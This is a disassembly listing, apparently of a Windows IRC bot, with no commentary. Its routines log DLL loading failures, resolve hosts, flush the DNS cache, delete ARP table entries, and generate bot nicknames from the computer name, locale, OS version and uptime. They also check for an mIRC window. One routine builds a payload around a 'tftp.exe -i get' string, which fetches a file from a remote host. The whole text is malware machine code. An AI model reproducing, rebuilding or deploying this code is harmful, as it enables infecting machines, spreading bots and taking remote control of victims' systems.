push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A675: ; CODE XREF: sub_40A5C5+82j
cmp dword_4CBAAC, esi
jz short loc_40A6A9
push dword_4CBAB0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j
cmp dword_4CBAB4, esi
jz short loc_40A6DD
push dword_4CBAB8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj
cmp dword_4CBABC, esi
jz short loc_40A711
push dword_4CBAC0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A711: ; CODE XREF: sub_40A5C5+11Ej
cmp dword_4CBAC4, esi
jz short loc_40A745
push dword_4CBAC8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A745: ; CODE XREF: sub_40A5C5+152j
cmp dword_4CBACC, esi
jz short loc_40A779
push dword_4CBAD0
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A779: ; CODE XREF: sub_40A5C5+186j
cmp dword_4CBAD4, esi
jz short loc_40A7AD
push dword_4CBAD8
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj
cmp dword_4CBADC, esi
jz short loc_40A7E1
push dword_4CBAE0
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj
cmp dword_4CBAE4, esi
jz short loc_40A815
push dword_4CBAE8
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A815: ; CODE XREF: sub_40A5C5+222j
cmp dword_4CBAEC, esi
jz short loc_40A849
push dword_4CBAF0
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A849: ; CODE XREF: sub_40A5C5+256j
cmp dword_4CBAF4, esi
jz short loc_40A87D
push dword_4CBAF8
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj
cmp dword_4CBAFC, esi
jz short loc_40A8B1
push dword_4CBB00
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
loc_40A897: ; DATA XREF: .packed:0043320Co
; .packed:00433250o ...
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj
lea eax, [ebp+var_200]
push offset unk_42D6C4
push eax
call sub_41C266
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A8DE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40A8DE: ; CODE XREF: sub_40A5C5+302j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A5C5 endp
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5BC5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40A918
push [esp+arg_0]
call dword_4CBA58 ; gethostbyname
test eax, eax
jnz short loc_40A911
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A911: ; CODE XREF: sub_40A8F0+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A918: ; CODE XREF: sub_40A8F0+Dj
retn
sub_40A8F0 endp
; =============== S U B R O U T I N E =======================================
sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB8F0
xor eax, eax
test ecx, ecx
jz short locret_40A927
call ecx ; DnsFlushResolverCache
locret_40A927: ; CODE XREF: sub_40A919+Aj
retn
sub_40A919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CBA50 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40A9EE
sub ecx, 32h
jz loc_40A9E7
sub ecx, 48h
jz short loc_40A988
sub ecx, 6Eh
jz short loc_40A981
loc_40A96A: ; CODE XREF: sub_40A928+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D8D8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40A9C8
; ---------------------------------------------------------------------------
loc_40A981: ; CODE XREF: sub_40A928+40j
push offset unk_42D8B4
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A988: ; CODE XREF: sub_40A928+3Bj
push [ebp+var_8]
call sub_41BEB5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BF70
add esp, 10h
cmp esi, edi
jz short loc_40A9B5
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CBA50 ; GetIpNetTable
cmp eax, edi
jz short loc_40A9EE
jmp short loc_40A96A
; ---------------------------------------------------------------------------
loc_40A9B5: ; CODE XREF: sub_40A928+79j
push offset unk_42D884
loc_40A9BA: ; CODE XREF: sub_40A928+5Ej
; sub_40A928+C4j
lea eax, [ebp+var_88]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40A9C8: ; CODE XREF: sub_40A928+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_415D38
pop ecx
loc_40A9D8: ; CODE XREF: sub_40A928+C8j
; sub_40A928+DCj
push esi
call sub_41BA91
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A9E7: ; CODE XREF: sub_40A928+32j
push offset unk_42D854
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A9EE: ; CODE XREF: sub_40A928+29j
; sub_40A928+89j
cmp [esi], edi
jbe short loc_40A9D8
lea ebx, [esi+4]
loc_40A9F5: ; CODE XREF: sub_40A928+DAj
push ebx
call dword_4CBA4C ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A9F5
jmp short loc_40A9D8
sub_40A928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp
; sub_401ACD+233Ep ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CB978 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CBB04
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41C266
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA06 endp
; =============== S U B R O U T I N E =======================================
sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp
; sub_413694+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AA88
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AA7B: ; CODE XREF: sub_40AA5F+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AA7B
pop edi
jmp short loc_40AA8C
; ---------------------------------------------------------------------------
loc_40AA88: ; CODE XREF: sub_40AA5F+Aj
mov edx, [esp+4+arg_0]
loc_40AA8C: ; CODE XREF: sub_40AA5F+27j
test esi, esi
pop esi
jz short loc_40AA96
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AA96: ; CODE XREF: sub_40AA5F+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AA5F endp
; =============== S U B R O U T I N E =======================================
sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p
; DATA XREF: .packed:off_42D920o
arg_0 = dword ptr 4
push esi
push edi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42D99C[edx*4]
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB14
loc_40AAEE: ; CODE XREF: sub_40AAAC+66j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AAEE
loc_40AB14: ; CODE XREF: sub_40AAAC+40j
mov eax, edi
pop edi
pop esi
retn
sub_40AAAC endp
; ---------------------------------------------------------------------------
push esi
push edi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
mov edi, [esp+10h]
mov dword ptr [esp], offset asc_429138 ; "-"
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB72
loc_40AB4C: ; CODE XREF: .packed:0040AB70j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AB4C
loc_40AB72: ; CODE XREF: .packed:0040AB4Aj
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ABBA
loc_40ABA4: ; CODE XREF: sub_40AB77+41j
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ABA4
loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AB77 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4315F4
push eax
push esi
call dword_4270C8 ; GetComputerNameA
movsx eax, byte_4315F4
push 41h
pop ecx
push 1
pop edx
loc_40AC00: ; CODE XREF: .packed:0040AC0Bj
cmp eax, ecx
jnz short loc_40AC07
mov [ebp-4], edx
loc_40AC07: ; CODE XREF: .packed:0040AC02j
inc ecx
cmp ecx, 5Bh
jl short loc_40AC00
push 61h
pop ecx
loc_40AC10: ; CODE XREF: .packed:0040AC1Bj
cmp eax, ecx
jnz short loc_40AC17
mov [ebp-4], edx
loc_40AC17: ; CODE XREF: .packed:0040AC12j
inc ecx
cmp ecx, 7Bh
jl short loc_40AC10
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AC5C
loc_40AC36: ; CODE XREF: .packed:0040AC5Aj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AC36
loc_40AC5C: ; CODE XREF: .packed:0040AC34j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_4270CC ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4315F8
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ACD1
loc_40ACAB: ; CODE XREF: .packed:0040ACCFj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACAB
loc_40ACD1: ; CODE XREF: .packed:0040ACA9j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43DB88
mov dword ptr [ebp-94h], 94h
call dword_4270D0 ; GetVersionExA
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AD5B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD3B
cmp dword ptr [ebp-84h], 1
jnz short loc_40AD2B
mov esi, offset dword_431620
loc_40AD2B: ; CODE XREF: .packed:0040AD24j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AD97
mov esi, offset dword_43161C
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD3B: ; CODE XREF: .packed:0040AD1Bj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AD4B
mov esi, offset dword_431618
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD4B: ; CODE XREF: .packed:0040AD42j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AD92
mov esi, offset dword_431614
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD5B: ; CODE XREF: .packed:0040AD12j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AD92
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD74
mov esi, offset dword_431610
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD74: ; CODE XREF: .packed:0040AD6Bj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AD84
mov esi, offset dword_43160C
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD84: ; CODE XREF: .packed:0040AD7Bj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_431608
jz short loc_40AD97
loc_40AD92: ; CODE XREF: .packed:0040AD52j
; .packed:0040AD62j
mov esi, offset dword_431604
loc_40AD97: ; CODE XREF: .packed:0040AD32j
; .packed:0040AD39j ...
mov edi, [ebp+8]
push esi
push offset dword_4315FC
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ADDB
loc_40ADB5: ; CODE XREF: .packed:0040ADD9j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ADB5
loc_40ADDB: ; CODE XREF: .packed:0040ADB3j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40AE30
call dword_4CB9E0 ; FindWindowA
test eax, eax
mov eax, offset dword_43162C
jnz short loc_40AE19
mov eax, offset byte_43DB88
loc_40AE19: ; CODE XREF: sub_40ADE1+31j
push eax
push esi
push offset dword_431624
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41C360
add esp, 14h
jmp short loc_40AE50
; ---------------------------------------------------------------------------
loc_40AE30: ; CODE XREF: sub_40ADE1+22j
call dword_4CB9E0 ; FindWindowA
test eax, eax
mov eax, offset dword_43162C
jnz short loc_40AE44
mov eax, offset byte_43DB88
loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41B9C0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40AE7F
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41CBC0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 18h
loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40ADE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D91C
loc_40AE90: ; CODE XREF: sub_40AE84+3Fj
cmp [ebp+arg_C], 0
jz short loc_40AEAB
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41CA50
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AEB5
; ---------------------------------------------------------------------------
loc_40AEAB: ; CODE XREF: sub_40AE84+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AEB5: ; CODE XREF: sub_40AE84+25j
test eax, eax
jnz short loc_40AEC7
add esi, 14h
inc edi
cmp esi, offset off_42D9A8
jb short loc_40AE90
jmp short loc_40AED5
; ---------------------------------------------------------------------------
loc_40AEC7: ; CODE XREF: sub_40AE84+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D920[eax*4]
pop ecx
loc_40AED5: ; CODE XREF: sub_40AE84+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AEE8
push [ebp+arg_0]
call sub_40ADE1
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AEE8: ; CODE XREF: sub_40AE84+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AE84 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B8h
push ebx
push esi
lea eax, [ebp-0B8h]
push edi
push eax
mov edi, offset byte_43DB88
mov dword ptr [ebp-0B8h], 94h
call dword_4270D0 ; GetVersionExA
cmp dword ptr [ebp-0B4h], 4
push 0Ah
pop ebx
jnz short loc_40AF67
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF48
cmp dword ptr [ebp-0A8h], 1
jnz short loc_40AF38
mov edi, offset dword_431620
loc_40AF38: ; CODE XREF: .packed:0040AF31j
cmp dword ptr [ebp-0A8h], 2
jnz short loc_40AFA3
mov edi, offset dword_43161C
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF48: ; CODE XREF: .packed:0040AF28j
cmp [ebp-0B0h], ebx
jnz short loc_40AF57
mov edi, offset dword_431618
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF57: ; CODE XREF: .packed:0040AF4Ej
cmp dword ptr [ebp-0B0h], 5Ah
jnz short loc_40AF9E
mov edi, offset dword_431614
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF67: ; CODE XREF: .packed:0040AF1Fj
cmp dword ptr [ebp-0B4h], 5
jnz short loc_40AF9E
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF80
mov edi, offset dword_431610
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF80: ; CODE XREF: .packed:0040AF77j
cmp dword ptr [ebp-0B0h], 1
jnz short loc_40AF90
mov edi, offset dword_43160C
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF90: ; CODE XREF: .packed:0040AF87j
cmp dword ptr [ebp-0B0h], 2
mov edi, offset dword_431684
jz short loc_40AFA3
loc_40AF9E: ; CODE XREF: .packed:0040AF5Ej
; .packed:0040AF6Ej
mov edi, offset dword_431680
loc_40AFA3: ; CODE XREF: .packed:0040AF3Fj
; .packed:0040AF46j ...
lea eax, [ebp-0A4h]
push offset word_4CB88C
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40AFC1
mov esi, offset dword_43167C
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFC1: ; CODE XREF: .packed:0040AFB8j
lea eax, [ebp-0A4h]
push offset a1 ; "1"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFDF
mov esi, offset sub_431678
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFDF: ; CODE XREF: .packed:0040AFD6j
lea eax, [ebp-0A4h]
push offset dword_431674
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFFD
mov esi, offset dword_431670
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFFD: ; CODE XREF: .packed:0040AFF4j
lea eax, [ebp-0A4h]
push offset dword_43166C
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40B01B
mov esi, offset dword_431668
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40B01B: ; CODE XREF: .packed:0040B012j
lea eax, [ebp-0A4h]
push offset dword_431664
push eax
call sub_41C2E0
pop ecx
mov esi, offset dword_431660
test eax, eax
pop ecx
jnz short loc_40B03C
mov esi, offset off_43165C
loc_40B03C: ; CODE XREF: .packed:0040AFBFj
; .packed:0040AFDDj ...
lea eax, [ebp-0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_41ADD8
pop ecx
push eax
call sub_41CCE3
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_40B086
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
add esp, 10h
jmp short loc_40B0AA
; ---------------------------------------------------------------------------
loc_40B086: ; CODE XREF: .packed:0040B06Fj
cmp eax, 64h
jge short loc_40B098
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call sub_42635C
jmp short loc_40B0A7
; ---------------------------------------------------------------------------
loc_40B098: ; CODE XREF: .packed:0040B089j
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
loc_40B0A7: ; CODE XREF: .packed:0040B096j
add esp, 0Ch
loc_40B0AA: ; CODE XREF: .packed:0040B084j
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
call dword_4270CC ; GetLocaleInfoA
lea eax, [ebp-18h]
push eax
push esi
lea eax, [ebp-24h]
push edi
mov edi, [ebp+8]
push eax
push offset aSSSS ; "%s|%s|%s|%s|"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 1Ch
cmp dword_429098, esi
jle short loc_40B115
loc_40B0F0: ; CODE XREF: .packed:0040B113j
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40B0F0
loc_40B115: ; CODE XREF: .packed:0040B0EEj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap
; sub_40B214+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B9C0
push [esp+8+arg_4]
mov esi, eax
call sub_41B9C0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B11C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B13C proc near ; CODE XREF: sub_40B22B+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40B11C
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B159
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B159: ; CODE XREF: sub_40B13C+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41B9C0
push [ebp+arg_C]
mov esi, eax
call sub_41B9C0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43171C, eax
lea eax, [edi+1]
mov dword_43173D, eax
lea eax, [edi+17h]
mov dword_431735, eax
pop eax
push 74h
sub eax, edi
push offset dword_4316B8
push ebx
mov dword_43174B, eax
call sub_41CD20
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_41CD20
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_41CD20
add esi, edi
push 38h
add esi, ebx
push offset byte_431741
push esi
call sub_41CD20
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B13C endp
; =============== S U B R O U T I N E =======================================
sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B11C
push eax
call sub_40B298
add esp, 0Ch
retn
sub_40B214 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_40B214
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40B24B
cmp eax, 0FFFFh
jbe short loc_40B24F
loc_40B24B: ; CODE XREF: sub_40B22B+17j
xor eax, eax
jmp short loc_40B294
; ---------------------------------------------------------------------------
loc_40B24F: ; CODE XREF: sub_40B22B+1Ej
push esi
push edi
push ebx
call sub_40B11C
add eax, 101h
push eax
call sub_41BEB5
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
